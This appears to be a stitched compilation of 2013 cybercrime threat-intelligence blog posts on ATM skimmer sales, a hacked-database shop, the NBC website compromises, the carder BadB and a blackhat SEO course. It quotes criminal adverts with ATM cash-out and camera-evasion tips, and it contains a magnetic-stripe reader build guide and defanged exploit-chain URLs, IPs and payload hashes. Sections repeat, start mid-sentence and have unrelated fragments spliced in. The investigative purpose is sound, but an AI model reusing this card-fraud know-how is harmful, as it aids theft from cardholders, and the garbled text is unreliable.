relaxed, confident team. It can be done with just 2 people, but 3 is recommended. Observing

the guy removing the kit is a good idea, and walkie-talkies are useful. If the

observer sees

someone approaching the removal guy, he should "squak" his walkie-talkie, and the remover

can disappear quickly.

4112

Cashing out the money:

On many ATMs, there is a monitoring camera. Cameras are usually motion activated. We

advise that you do not stay at one ATM more than 5 minutes, and do not tie up an ATM if there

are people in the queue. Do not always cash out at an ATM belonging to one single bank, nor

should you ever cash out your cards on the ATM that you skimmed them on.

4113

Price List

Model	USB memory:	GSM:
Wincor Nixdorf Procash 2150	€2900	€5600
Diebold	€2800	€4800

*Our Diebold are easily adapted to fit almost all Diebold machines. Please contact us if you have any special requests.

The Kit includes a software dvd (with full instructions), MSR206, Skimmer + Pinpad, and encryption key to decode dumps which are encrypted on the devices.

Many crews will have several people working on cashing out, and they work 10 cards

per person per time, all returning the money to the controller periodically. If you are cashing

out at night at a quiet ATM, having hoods up is a good idea to prevent the camera from seeing

you.That's just about everything you need to know to operate a safe, extremely lucrative ATM

skimming business.

The Kit includes a software dvd (with full instructions), MSR206, Skimmer + Pinpad, and

encryption key to decode dumps which are encrypted on the devices. Note: Only skimmed

tracks are encrypted, pins are not encrypted. Rental Schemes are available, where we keep

the encryption key for the 1st operation of the skimmer, and provide you with 20 unencrypted

dumps + pins. This rental scheme costs €1400 for USB kits, and €2200 for GSM kits.

My initial discovery of this cybercrime-friendly market proposition, coincides with the

publication of a related post back in 2008, for the first time ever publicly disclosing important

details regarding the emergence of [3]**ATM Skimmers with built-in GSM modules**.

Nowadays, these are everyday reality.

Updates will be posted as soon as new developments take place.

9.2.3 Historical OSINT - Hacked Databases Offered for Sale (2013-02-06 02:03)

In the wake of the recently announced security breaches at the [1]**NYTimes**, [2]**WSJ**, and the

[3]**Washington Post**, I decided to shed more light on what happens once a database gets

compromised by Russian cybercriminals, compared to (supposedly) Chinese spies, with the

idea to provide factual evidence that these breaches are just the tip of the iceberg.

In this intelligence brief, I'll profile a service that was originally operating throughout the

entire 2009, selling access to compromised databases of multiple high-trafficked Web sites,

through the direct compromise of their databases, hence, the name of the service - GiveMeDB.

| Главная | Прайс | Правила | О Нас | Контакты |

GiveMeDB Service

Мы представляем Вам сервис по продаже баз данных со взломанных ресурсов различной тематики. У нас Вы всегда можете приобрести необходимый материал под Ваши цели. Мы предлагаем широкий ассортимент, среди которого присутствуют Job/Dating /Finance и другие базы.

Внимание! Мы не генерим и не собираем базы с веб'а, в нашем прайсе присутствуют только взломанные базы. В случае каких-либо сомнений мы всегда готовы доказать принадлежность базы к тому или иному ресурсу.

Внимание! Материалы сайта не противоречат законодательству России, стран СНГ, Европы и США. Мы не распространяем охраняемую законом информацию, а лишь предостерегаем владельцев сайтов о возможным проблемах в сфере информационной безопасности.

During 2009, the domain used to respond to **83.133.123.228** (LAMBDANET-AS European

Backbone of LambdaNet), it then changed IPs to **74.54.82.209** (THEPLANET-AS - TheP-

lanet.com Internet Services, Inc.). The following domains used to respond to the same IP

(**83.133.123.228**), **pornofotki.com.ua**, **mail.vipnkvd.ru**.

What are the chances that these

IPs are known to have been involved in related malicious/cybercrime-friendly activities?

Appreciate my rhetoric.

We’ve got the following [4]**MD5:**

6a9b128545bd095dbbb697756f5586a9 spamming links

Прайс

Ниже представлен наш прайс, в него включены имеющиеся в наличии базы данных с указанных ресурсов. Напротив каждого товара обозначено количество записей в базе и две цены, первая - пониженная, рассчитанная на продажу базы трем первым покупателям, вторая - полная цена, рассчитанная на эксклюзивную продажу базы только Вам.

В целях безопасности, мы не указываем доменную зону в ссылках на представленные ресурсы, всю дополнительную информацию Вы можете получить у наших support'ов.

Внимание! Все базы продаются ограниченное число раз и удаляются после их приобретения!

Внимание! Мы не занимаемся спамом и не используем базы ни каким иным способом!

Раздел - Job Bases (jobseekers):

Ресурс	Страна	Количество записей в БД	Общая Цена*	Эксклюзивная Цена*
jobsbazaar.*	IN	10 000	20$	60$
availablejobs.*	US	380 000	300$	900$

Контакты:

ICQ: 9348793 - Ru

ICQ: 5190451 - En

to the same (**hxxp://83.133.123.228/uksus/?t=3**) in particular. Cross-checking the second IP

(**74.54.82.209**) across multiple proprietary and public databases, reveals a diversified criminal

enterprise that’s been using it for years.

The following MD5s are known to have phoned back to the same IP (**74.54.82.209**):

[5]**MD5: d48a7ae9934745964951a704bcc70fe9**

[6]**MD5: 4626de911152ae7618c9936d8d258577**

[7]**MD5: ca4b79a33ea6e311eafa59a6c3fffee2**

[8]**MD5: eb3b44cee34ec09ec6c5917c5bd7cfb4**

As well as a recent (2011) [9]**Palevo C &C activity**.

Clearly, they've been multi-tasking

on multiple fronts.

The structure of propositions is the following: partial URL of the hacked Web site, coun-

try of the Web site, Quantity of records per database, First-time price, Exclusive price. The list

of affected Web sites is as follows:

4130

Purchasing these hacked databases, immediately improves the competitiveness of a po-

tential cybercriminal, who now has everything he/she needs to launch spam, spear phishing,

and [10]**money mule recruitment campaigns**, at their disposal.

For years, novice cybercriminals or unethical competitors have been on purposely join-

ing closed cybercrime-friendly communities, seeking help in exchange for a financial incentive,

in obtaining access to a particular database, or for the "[11]**defacement**" of a specific Web site.

What this service proves is that, the model can actually scale to disturbing proportions, offer-

ing access to millions of compromised database records to virtually anyone who pays for them.

9.2.4 Historical OSINT - Hacked Databases Offered for Sale (2013-02-06 02:03)

In the wake of the recently announced security breaches at the [1]**NYTimes**, [2]**WSJ**, and the

[3]**Washington Post**, I decided to shed more light on what happens once a database gets

compromised by Russian cybercriminals, compared to (supposedly) Chinese spies, with the

idea to provide factual evidence that these breaches are just the tip of the iceberg.

In this intelligence brief, I'll profile a service that was originally operating throughout the

entire 2009, selling access to compromised databases of multiple high-trafficked Web sites,

through the direct compromise of their databases, hence, the name of the service - GiveMeDB.

4135

Primary URL: *hxxp://givemedb.com* - Email: giverems@mail.ru

Secondary URL: *hxxp://shopdb.blogspot.com*

ICQ: *9348793; 5190451*

During 2009, the domain used to respond to **83.133.123.228** (LAMBDANET-AS European

Backbone of LambdaNet), it then changed IPs to **74.54.82.209** (THEPLANET-AS - TheP-

lanet.com Internet Services, Inc.). The following domains used to respond to the same IP

(**83.133.123.228**), **pornofotki.com.ua**, **mail.vipnkvd.ru**.

What are the chances that these

IPs are known to have been involved in related malicious/cybercrime-friendly activities?

Appreciate my rhetoric.

We've got the following [4]**MD5:**

6a9b128545bd095dbbb697756f5586a9 spamming links

to the same (**hxxp://83.133.123.228/uksus/?t=3**) in particular. Cross-checking the second IP

(**74.54.82.209**) across multiple proprietary and public databases, reveals a diversified criminal

enterprise that's been using it for years.

The following MD5s are known to have phoned back to the same IP (**74.54.82.209**):

[5]**MD5: d48a7ae9934745964951a704bcc70fe9**

[6]**MD5: 4626de911152ae7618c9936d8d258577**

[7]**MD5: ca4b79a33ea6e311eafa59a6c3fffee2**

[8]**MD5: eb3b44cee34ec09ec6c5917c5bd7cfb4**

As well as a recent (2011) [9]**Palevo C &C activity**.

Clearly, they've been multi-tasking

on multiple fronts.

The structure of propositions is the following: partial URL of the hacked Web site, coun-

try of the Web site, Quantity of records per database, First-time price, Exclusive price. The list

of affected Web sites is as follows:

4137

| Главная | Прайс | Правила | О Нас | Контакты |

Прайс

Ниже представлен наш прайс, в него включены имеющиеся в наличии базы данных с указанных ресурсов. Напротив каждого товара обозначено количество записей в базе и две цены, первая - пониженная, рассчитанная на продажу базы трем первым покупателям, вторая - полная цена, рассчитанная на эксклюзивную продажу базы только Вам.

В целях безопасности, мы не указываем доменную зону в ссылках на представленные ресурсы, всю дополнительную информацию Вы можете получить у наших support'ов.

Внимание! Все базы продаются ограниченное число раз и удаляются после их приобретения!

Внимание! Мы не занимаемся спамом и не используем базы ни каким иным способом!

Раздел - Job Bases (jobseekers):

Ресурс	Страна	Количество записей в БД	Общая Цена*	Эксклюзивная Цена*

Purchasing these hacked databases, immediately improves the competitiveness of a po-

tential cybercriminal, who now has everything he/she needs to launch spam, spear phishing,

and [10]**money mule recruitment campaigns**, at their disposal.

For years, novice cybercriminals or unethical competitors have been on purposely join-

ing closed cybercrime-friendly communities, seeking help in exchange for a financial incentive,

in obtaining access to a particular database, or for the "[11]**defacement**" of a specific Web

site. What this service proves is that, the model can actually scale to disturbing proportions,

offering access to millions of compromised database records to virtually anyone who pays for

them.

Updates will be posted as soon as new developments take place.

9.2.5 Dissecting NBC's Exploits and Malware Serving Web Site Compromise

(2013-02-21 22:03)

The web site of the [1]**National Broadcasting Company (NBC)**, NBC.com, is currently compro-

mised, and is redirecting tens of thousands of legitimate users to multiple exploits serving

and malware dropping malicious URLs. The campaign appears to have been launched by the

```

Who's behind this campaign and can we connect this malicious activities to previously ana-

lyzed malicious campaigns? But, of course.

umaiskhan.com responds to 173.254.28.49, and on 2013-01-28 18:56:19 we know that

another domain used in a Facebook Inc.

themed campaign was also responding to

the same IP, namely **hxxp://shutterstars.com/wp-content/plugins/akismet/resume _face-**

book.html. The compromised legitimate host back then used to serve client-side exploits

through h**xxp://gotina.net/detects/sign _on _to _resume.php** – 222.238.109.66 – Email:

lockwr@rocketmail.com.

Deja vu! We've already seen and profiled this malicious domain in the following assessment

"[6]**Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side**

exploits and malware", indicating that both of these campaigns have been launched by the

same cybercriminal/gang of cybercriminals. What's also worth emphasizing on is that the

same email (*lockwr@rocketmail.com*) used to register gonita.net was also profiled in the

following assessment "[7]**Fake ‘Verizon Wireless Statement” themed emails lead to Black**

Hole Exploit Kit", where it was used to register the Name Servers used in the campaign.

Someone’s multi-tasking. That’s for sure.

9.2.6 Dissecting NBC's Exploits and Malware Serving Web Site Compromise

(2013-02-21 22:03)

The web site of the [1]**National Broadcasting Company (NBC)**, NBC.com, is currently compro-

mised, and is redirecting tens of thousands of legitimate users to multiple exploits serving

and malware dropping malicious URLs. The campaign appears to have been launched by the

same gang of cybercriminals that's also been recently involved in impersonating [2]**Facebook**

Inc. and [3]**Verizon Wireless**, in an attempt to trick their users/customers into clicking on

links found in hundreds of thousands of spamvertised emails pretending to come from the

companies.

Let's dissect the campaign, expose its structure, the dropped malware, and connect the

dots on who's behind it.

Observed iFrames in rotation:

Who's behind this campaign and can we connect this malicious activities to previously

analyzed malicious campaigns? But, of course.

umaiskhan.com responds to 173.254.28.49, and on 2013-01-28 18:56:19 we know that

another domain used in a Facebook Inc.

themed campaign was also responding to

the same IP, namely **hxxp://shutterstars.com/wp-content/plugins/akismet/resume _face-**

book.html. The compromised legitimate host back then used to serve client-side exploits

through h**xxp://gotina.net/detects/sign _on _to _resume.php** – 222.238.109.66 – Email:

lockwr@rocketmail.com.

Deja vu! We've already seen and profiled this malicious domain in the following assessment

"[6]**Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side**

exploits and malware", indicating that both of these campaigns have been launched by the

same cybercriminal/gang of cybercriminals. What's also worth emphasizing on is that the

same email (*lockwr@rocketmail.com*) used to register gonita.net was also profiled in the

following assessment "[7]**Fake 'Verizon Wireless Statement" themed emails lead to Black**

Hole Exploit Kit", where it was used to register the Name Servers used in the campaign.

Someone's multi-tasking. That's for sure.

Updates will be posted as soon as new developments take place.

Security in knowledge

Android Malware Exposed – An In-depth Look at its Evolution

On Wednesday, February 27th, Webroot threat researchers Grayson Milbourne and Armando Orozco presented at the RSA Conference in San Francisco. Their topic, *Android Malware Exposed – An In-depth Look at its Evolution*, is an expansion on their previous year's presentation, highlighting the severity of the Android malware growth. Focusing on the history of operating system releases and the diversity across the market, as well at the threat vectors and behaviors in the evolution of Android malware, the team has established strong predictions for 2013.

9.3.2 Dissecting NBC's Late Night with Jimmy Fallon Web Site Compromise

(2013-03-07 00:52)

[1]**Oops, they did it again!**

The official Web site (***hxxp://www.latenightwithjimmyfallon.com***) of [2]**NBC's Late**

Night With Jimmy Fallon is currently [3]**compromised/hacked** and is automatically serving

multiple Java exploits to its visitors through a tiny iFrame element embedded on the front

page. According to [4]**Google's Safe Browsing Diagnostic page**, the same malicious iFrame

domain that affected the Web site, is also known to have affected 15 more domains.

Let’s dissect the campaign, expose the complete domains domains portfolio used in the

campaign, reproduce the malicious payload, and establish a direct connection between this

campaign, and a series of phishing campaigns that appear to have been launched by the

same cybercriminal/gang of cybercriminals.

Sample client-side exploitation chain: *hxxp://20-monkeys-b.com/exp/agencept.php?vialjack=339214*

- 144.135.8.182; 192.154.103.66 -> hxxp://20-monkeys-b.com/exp/tionjett.php

Although the currently embedded iFrame domain is offline, we know that on 2013-03-06

17:02:35 it used to respond to 192.154.103.66. We’ve got several malicious domains cur-

rently parked at the same IP and responing, allowing us to obtain the malicious payload

used in the campaign affecting NBC’s Web site.

Upon further examination, the obtained

malicious PDF used in the campaign, also attempts to connect to the initial iFrame domain

(**20-monkeys-b.com**), proving that the domains are operated by the same cybercriminal/gang

of cybercriminals.

Sample

exploitation

chain

for

a

currently

active

malicious

domain

respond-

ing

to

192.154.103.66:

hxxp://poople-huelytics.com/exp/agencept.php?vialjack=-

694842

->

hxxp://poople-huelytics.com/exp/addajapa/jurylamp.jar

->

hxxp://poople-

huelytics.com/exp/addajapa/ptlyable.jar -> hxxp://poople-huelytics.com/exp/jectrger.php

Sample client-side exploits served: [5] *CVE-2013-0431*; [6] *CVE-2012-1723*; [7] *CVE-2010-0188*

Sample detection rates for the reproduced malicious payload:

test.pdf - [8]**MD5: 013ed8ef6d92cfe337d9d82767f778da** - detected by 10 out of 46 antivirus

scanners as PDF:Exploit.PDF-JS.VU

jurylamp.jar - [9]**MD5: dcba86395938737b058299b8e22b6d65** - detected by 7 out of 46

antivirus scanners as Exploit:Java/CVE-2013-0431

ptlyable.jar - [10]**MD5: 2446aa6594fc7935ca13b130d4f67442** - detected by 6 out of 46

antivirus scanners as HEUR:Exploit.Java.CVE-2012-1723.gen

test.pdf

drops

MD5:

51311FDECCD8B6BC5059BE33E0046A27

and

MD5:

72B670F4582BC73C0D05FF506B51B8EB it then attempts to obtain the malicious payload

from **20-monkeys-b.com/exp/senccute.php?** (144.135.8.182)

Responding to 192.154.103.66 are also the following malicious domains:

snova-vdel-e.com

mimemimikat.info

Malicious domain names reconnaissance:

20-monkeys-b.com - Email: haneslyndsey@yahoo.com

poople-huelytics.com - Email: brianmyhalyk@yahoo.com

snova-vdel-e.com - Email: guerin _k@yahoo.com

mimemimikat.info - Email: xbroshost@live.com

More domains share the same exploitation directory structure (agencept.php?vialjack=)

such as for instance:

hxxp://upd.pes2020.com.ar/up/agencept.php?vialjack %3D219215

hxxp://upd.typescript.com.ar/up/agencept.php?vialjack=219215

hxxp://4ad32203.dyndns.info/agencept.php?vialjack=428181

4155

hxxp://4ad34364.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad28306.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad23745.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad96968.dyndns.info/agencept.php?vialjack %3D428181

hxxp://4ad21321.dyndns.info/agencept.php?vialjack=428181

The same email (xbroshost@live.com) is also known to have registered the following

phishing domains in the past:

hxxp://www.realtorviewproperties.info/realtorjj/index.htm

hxxp://www.usaindependentmerchids.com

hxxp://www.usamerchandiseinc.com/

hxxp://www.blogconsciente.com/ secadmin/eLogin.php

Although the cybercriminal/gang of cybercriminals behind this campaign applied basic

OPSEC practices to it, the fact that the C &C/malicious payload acquisition strategy is largely

centralized, (thankfully) indicates a critical flaw in their mode of thinking.

var playerH = 318;[LF]
var isFirstRun = true;[LF]
var vidId = video;[LF]
NBC(player).video({[LF]
"id": vidId,[LF]
"freewheel": "late_night_with_jimmy_fallon_blog",[LF]
```

[1]**Oops, they did it again!**

The official Web site (***hxxp://www.latenightwithjimmyfallon.com***) of [2]**NBC's Late**

Night With Jimmy Fallon is currently [3]**compromised/hacked** and is automatically serving

multiple Java exploits to its visitors through a tiny iFrame element embedded on the front

page. According to [4]**Google's Safe Browsing Diagnostic page**, the same malicious iFrame

domain that affected the Web site, is also known to have affected 15 more domains.

Let's dissect the campaign, expose the complete domains domains portfolio used in the

campaign, reproduce the malicious payload, and establish a direct connection between this

campaign, and a series of phishing campaigns that appear to have been launched by the

same cybercriminal/gang of cybercriminals.

Sample client-side exploitation chain: *hxxp://20-monkeys-b.com/exp/agencept.php?vialjack=339214*

- 144.135.8.182; 192.154.103.66 -> hxxp://20-monkeys-b.com/exp/tionjett.php

Although the currently embedded iFrame domain is offline, we know that on 2013-03-06

17:02:35 it used to respond to 192.154.103.66. We've got several malicious domains cur-

rently parked at the same IP and responing, allowing us to obtain the malicious payload

used in the campaign affecting NBC's Web site.

Upon further examination, the obtained

malicious PDF used in the campaign, also attempts to connect to the initial iFrame domain

(**20-monkeys-b.com**), proving that the domains are operated by the same cybercriminal/gang

of cybercriminals.

Sample

->

hxxp://poople-huelytics.com/exp/addajapa/jurylamp.jar

->

hxxp://poople-

huelytics.com/exp/addajapa/ptlyable.jar -> hxxp://poople-huelytics.com/exp/jectrger.php

Sample client-side exploits served:

[5] *CVE-2013-0431*; [6] *CVE-2012-1723*; [7] *CVE-2010-*

0188

Sample detection rates for the reproduced malicious payload:

test.pdf - [8]**MD5: 013ed8ef6d92cfe337d9d82767f778da** - detected by 10 out of 46 an-

tivirus scanners as PDF:Exploit.PDF-JS.VU

jurylamp.jar - [9]**MD5: dcba86395938737b058299b8e22b6d65** - detected by 7 out of 46

antivirus scanners as Exploit:Java/CVE-2013-0431

ptlyable.jar - [10]**MD5: 2446aa6594fc7935ca13b130d4f67442** - detected by 6 out of 46

antivirus scanners as HEUR:Exploit.Java.CVE-2012-1723.gen

test.pdf

drops

MD5:

51311FDECCD8B6BC5059BE33E0046A27

and

MD5:

72B670F4582BC73C0D05FF506B51B8EB it then attempts to obtain the malicious payload

from **20-monkeys-b.com/exp/senccute.php?** (144.135.8.182)

Responding to 192.154.103.66 are also the following malicious domains:

snova-vdel-e.com

mimemimikat.info

4158

Malicious domain names reconnaissance:

20-monkeys-b.com - Email: haneslyndsey@yahoo.com

poople-huelytics.com - Email: brianmyhalyk@yahoo.com

snova-vdel-e.com - Email: guerin _k@yahoo.com

mimemimikat.info - Email: xbroshost@live.com

More domains share the same exploitation directory structure (agencept.php?vialjack=)

such as for instance:

hxxp://upd.pes2020.com.ar/up/agencept.php?vialjack %3D219215

hxxp://upd.typescript.com.ar/up/agencept.php?vialjack=219215

hxxp://4ad32203.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad34364.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad28306.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad23745.dyndns.info/agencept.php?vialjack=428181

hxxp://4ad96968.dyndns.info/agencept.php?vialjack %3D428181

hxxp://4ad21321.dyndns.info/agencept.php?vialjack=428181

The same email (xbroshost@live.com) is also known to have registered the following

phishing domains in the past:

hxxp://www.realtorviewproperties.info/realtorjj/index.htm

hxxp://www.usaindependentmerchids.com

hxxp://www.usamerchandiseinc.com/

hxxp://www.blogconsciente.com/ secadmin/eLogin.php

Although the cybercriminal/gang of cybercriminals behind this campaign applied basic

OPSEC practices to it, the fact that the C &C/malicious payload acquisition strategy is largely

centralized, (thankfully) indicates a critical flaw in their mode of thinking.

The

"BadB

International"

Cybercrime

Enterprise

(2013-04-10 21:53)

[1]**BadB is the nickname of Vladislav Anatolievich Horohorin**, a high profile carder, who

eventually [2]**got busted in France in 2010**. This month, he was [3]**sentenced to serve 88**

months in prison, ordered to pay $125,739 in restitution, and sentenced to two years of

supervised release.

4162

Mechanics of the reader

If you want to read magnetic stripes successfully, you should use a mechanical device to swipe cards stably and reliably. You can either swipe the card over the head or the head over the card. I chose the second method.
In this case you should attach the magnetic head (with the sensitive sidedownwards) to a piece of plastic, wood or something with a regular shape and a smooth surface. Then fix two strips (one at each side of the head) on a board as a rail in which the magnetic head can only move forward and backward (smoothly). Be aware to leave enough space between the board and the strips in order to introduce the card which is going to be read. Once you fix the card on the board, with its magnetic stripe running parallel to the strips, you can swipe the head along the card easily. Now you only have to move in small steps the position of the card until you find the track to be read. You know that the track is caught when the signal from the amplifier is a perfect square wave with maximum amplitude and minimum noise. As long as the majority of the cards follows the ISO standards, I suggest you to make some marks on the reader to sign the position of the tracks. So you don't have to repeat the whole process each time you want to read a card.
It may be not the most simple or efficient reader mechanics, but it allows you to read virtually any track of any card or document, i.e. it is not restricted to standard size cards or standard position tracks. See photos below to get an impression of the reader (click on images to enlarge). I apologize for the bad quality, I wasn't able to get a better digital camera (I used a cheap webcam).

Lately I've been using a very simple method to swipe cards which does not require a special board with strips fixed on it (rails). Simply put the card on your computer table and use the keyboard as rail for the magnetic head, i.e. it's like the method above but using a normal table and just one rail, one side of your computer keyboard. Put two cards one at each side of the card to be read (all three cards should have the same thickness) to help the magnetic head to move smoothly (you still need to attach the head to something suited for swiping). Be sure the magnetic stripe of the auxiliary cards do not interfere with the magnetic stripe to be read, i.e. the magnetic head is not going to swipe them as well. The only problem is to keep the magnetic stripe aligned with the keyboard, find your our method to fix this.

Using the software

The magnetic strip reader should be connected to the **joystick** port (output of the reader to **pin 2** and ground to **pin 4**) or to **theparallel** port (output of the reader to **pin 15** and ground **topin 18**) of a PC if you are going to use the software provided in these pages. I found a better performance using the parallel port, and so, that is the default port. You can use any PC, there is no need for a fast powerful PC. Compile the source code optimizing for speed. If you don't use **Turbo C++ v1.01**, you may need to change a little bit the code, mainly headers and function names.

In the wake of these events, I decided to release some raw OSINT data regarding BadB's

official Web site, *hxxp://badb.biz*.

Sample Abous Us section description from badb.biz:

We are independent e-commerce security investigation group. We are help e-commerce or-

ganisations such as Visa, Mastercard, regional processings and other e-commerce structures

to understand how vulnerable they are. We are not connected to any crimminal structures,

not performing any outlaw actions by ourselves, not selling drugs, not sendinding any spam,

not connected to any child porno, not supporting terrorists itselves nor terrorist organisations.

If you received any spam from us - this is a fake of our enemies we are never use spam to

promote our site. All information you can read here provided "As Is" and only for educational

purposes. All articles are copyrighted. If you wish to take any part of information from here -

please reffer to origination site. All we do - is we have for sale some dumps,

cvvs and cobs

- just for experemental purposes of our custommers ;-) We listen and effectively respond to

your needs and those of your clients. We are experts at translating those needs into marketing

solutions that work, look great and communicate well. Each day brings increased opportunity

to increase business in current as well as new.

This case is a great example of a simple fact - with or without BadB, [4]**the market for**

stolen credit cards data, continued growing throughout the entire 2011. Then in 2012, we

witnessed two law enforcement operations, courtesy of [5]**SOCA**, and the [6]**FBI**. However,

despite these efforts, the market for stolen credit cards data remains as vibrant as always.

Thanks to the [7]**standardization taking place in respect to the money mule recruitment**

process, as well as the nearly identical online shops for stolen credit cards data, those who

cannot "cash out" the balances of the credit cards, will choose to [8]**risk-forward** the selling

process to the buyers of the stolen data. The rest, will basically continue looking for more

efficient, automatic, and anonymous ways to get access to the stolen money, continuing to

rely on money mules of virtual currencies.

cannot "cash out" the balances of the credit cards, will choose to [8]**risk-forward** the selling

process to the buyers of the stolen data. The rest, will basically continue looking for more

efficient, automatic, and anonymous ways to get access to the stolen money, continuing to

rely on money mules of virtual currencies.

9.4.4 What's the ROI on Going to a Virtual Blackhat SEO School? (2013-04-17 23:45)

For years, fraudulent or **[1] purely malicious actors** have been abusing the online advertising

market, by **[2] directly hijacking** and redirecting **[3] the revenue flow**, or by **[4] successfully**

and efficiently hijacking as much percentage of legitimate search traffic as possible, and

monetizing it through the use of [5]**blackhat SEO (search engine optimization) tactics/shady**

affiliate networks.

[6]**Monetizing the very monetization process?** Standardizing the revenue generation, and

knowledge spreading streams, achieving efficiencies in the process, and directly contributing

to a new, this time better trained/educated generation of Blackhat SEO-ers? Someone he's

knowingly or unknowingly on a mission. A mission with a brand.

In this post, I'll profile a highly successful [7]**blackhat SEO** 'school" that promises the

Moon, but asks for nothing except $1,000 for the training course, which will turn you into a

sophisticated blackhat SEO expert, netting you huge amounts of money.

Operating in the open since 2010, the service is currently (2013) asking for $350, pre-

sumably to keep the new customers flow going. Since it's initial launch data, the business

model has been relying on a loyal set of people who already "took" the course, and continue

making money up to present day. A loyalty and happy customer "feedback" best demon-

strated by featuring exclusive screenshots courtesy of the happy customers.

Initial forum advertisement:

Welcome to the forum millionaires! So, I decided, now I will welcome the new students.

And you know why?

My course, and our forum for more than two years, and during that time has accumu-

lated a huge pile of reviews with the statistics. Wondered how many of my students have

earned over 2 years on my course?

And it turned out that except cars, apartments, purely according to PP, pupils together earned

17 million rubles! And it is only those who have shown their statistics. And

I think in 2 years

they could make a few more millions. (Figure is slightly inaccurate to 9 lines in a notebook I got

tired and started to round + decided not to take into account the 3,000,000 earnings per pupil)

In two years, we have made dozens of millionaires in Russia, Ukraine and Belarus Their

lives changed immediately, as soon as they hit the family. People sitting in debt in a few

months to buy a new car.

People are sitting at their desks yesterday brought home two monthly salaries parents,

and explained that it is unashamedly from the Internet, it is their earnings!

People who are already my course have been very successful become even more suc-

cessful. The forum is stable enough people who earn a day 50-60 thousand rubles. This is not

theoretical, not uncle in suits, this is the same young guys like you or me.

Although I must admit, the forum is and uncle in suits for 30-40 years, primarily to get

through doorways capital to support their business.

And all these people realize that they are family, friends, and they willingly associate,

dividing their experiences, secrets! Access to the course - it is a unique opportunity to touch

the thought of successful people, to breathe the same air with them, get their energy and join

the ranks of millionaires.

As early as the year, the forum has two tech support, and username, people are few

easy counseled hundreds of students and even if they did not do dory - would know what the

perfect doorway.

BUT! They do work, make Dora always advise how to make your doorway even better

answer the most stupid question, and will lead to the most stable earnings.

Now, if you are reading these lines and think that $ 1000 for access and the opportunity

to become a millionaire in 24\7 support from a support, for the opportunity to be in the new

family is expensive, I never selling you access.

We need people who value themselves, their money and time.

If $ 1,000 seems to you

a great price, then you will never become a millionaire from the internet and you simply do

not want my family.

4172

Imagine you paid $ 1,000 in the bank say, come back every day to ask questions and

get a month - $ 100,000, it is tempting? Here's a bank - this is our forum. And 80 pages of

reviews stands surety for this bank.

You may think, but what for me is all good topic no one will sell!

And I grieve you, it's not the topic, not the scheme, not the holy grail, it's work.

Work

by a support forum and make it so simple that you will forget the times when you have not

worked with doorways.

A successful guys will charge you so much energy that the work will be for you the best thing

in life. You're going to sleep at 4:00, waking up in the middle of the night with burning eyes,

watch as your dorveychiki live there, and how many thousands have already dripped while

you were sleeping.

Through it all the disciples, and I think they would give, and 10 and 100 thousand dollars to

get through it again.

But there is a dump in a Public Forum, everything is - you say.

And I'll tell you the story of how one day I lost the backup of offline and restored the fo-

rum 15 minutes ago from what it was last time. And it was a huge mistake! Lost about 50

messages, 12 topics and 5-6 blog posts! The disciples were indignant. On our forum mad

update rate, and dump the last year and the relevance of information out there already in

negative degrees and I am afraid that only harms doorways.

But I can learn myself! Yes you can, spend a few years on independent learning.

And you can put a time out and spend $ 1000 on an active training week and immedi-

ately makes the doorways correctly. Once again, we are waiting for our club anonymous

millionaires of people who know the value of money and his own time, who want to invest in

yourself, earn, and not break your head against the wall, when there are

people who will show

how to get around.

Course can be purchased on the preliminary interview in ICQ price - $ 1000.

And remember, we are, we need special people, very few of them, they are people who

are willing to invest in yourself and do not try to save yourself cheaply though. So I throw

in ICQ to ignore anyone who asks me for a discount or credit. I understand that in spite of

the 80-page review, you may be unsure if it will work with you. Therefore, we give a new

guarantee manibeka. If two weeks you feel - that doorway - it's not yours, we will refund the

money and pay the top 5 million rubles, for what you have spent your time!

Frequently Asked Questions (FAQ)

Good day, and now its time to answer all the questions a novice who wants to buy a course to

dot the i, made to understand that he buys, he will get what may dobitsya.Nus's begin.

1.Chem we do?

Black seo.Dorvei.Dory are very flexible and tenacious tool for earnings, its flexibility due

to the variety of topics and types of monetization, and vitality - the existence of PS, and how

long will exist as long as the search engines will be using dory. We produce traffic, ie the

users, ie the people, the traffic is the blood in the veins of the internet, and

this is the main

advantage that dorveyschik unlike white SEOs can in a short time to break a lot more traffa a

completely different subjects and to merge it back where it needs . in a simple version of all

is:

1.Registriruemsya an affiliate program, it gives you the choice of partner sites of some topics

(topics vary from porn and finishing all kinds of divination), statistics (to track kollvo coming

to your site, paid for kollvo, Colva who have come again).

2.Delaem doorway, we find:

- Thematic traffistye quality keys (which are appropriate to the site subject we took from PP)

- Template

- Text

All this is described in detail in the course and on the forum.

3.Zalivaem doorway to shell

4.Zhdem 4.3 apa (an - update Yandex search results, also known as SERP, quite by chance,

usually up to one week, sometimes more)

5.Poluchaem traff and accordingly money.

Well this is just a simple and obvious option, work with SMS affiliate, to start - the fact that

many small minded people to talk about the thousandth time of death doorways as income,

just because of the changes in the SMS payment, it’s wrong, it’s stupid, it’s self-deception to

deceive drugih.I as, say, we have learned to produce traffic, our traffic started to give Dora

and now we have to redirect it somewhere ie merge and convert / convert into money, a lot

of options:

1.Partnerki with sms payment, the most obvious and as I wrote the best option to start.

2.Partnerki pay-per-download and install the file, such PP a lot, and they are all different, from

the fact that you are paying for the jump and the malicious Trojan or whether something like

that, to quite formal type of games WORLD of-tanks, Yandex bars etc. and tp.Imeya large

amounts of traffic (which is the second task dorveyschika, increase the volume of traffic) in

the first and in the second option holders PP will take you with open arms and make bonuses.

3.Svoi online shopping and platniki.V this topic a little feedback from these guys, as many

prefer to work with SMS and other PP, but byvali.Odin met some of the students at comrade

serche, he did an Internet jewelry store and the problem was my student in the production of

traffic, he quickly picked up, done and grabbed a piece of the profit.

All that I wrote just for you to understand, I teach mine traffic, targeted traffic from search

engines, I would suggest the best methods of monetization, by which usually fight off the

course, but never forget that you have a great opportunity to go and grab a piece of the traffa

on desired topics with Yandex and merge where necessary.

2.Navernoe topic died, bought her so much, so long existed, much is competi-

tion?

I am for all the time of sale of the course has experienced the death of a thousand and

one as the reward scheme, but that's amazing, for some reason all those who want to -

successfully earn dorah.Chto for competition - in dorah very high turnover, namely Dora

always fly into the index (Yandex search) and flew over, it's all backed by the characteristic

features of the behavior dorveyschika and dorveyschik often tasting dough, he realized how

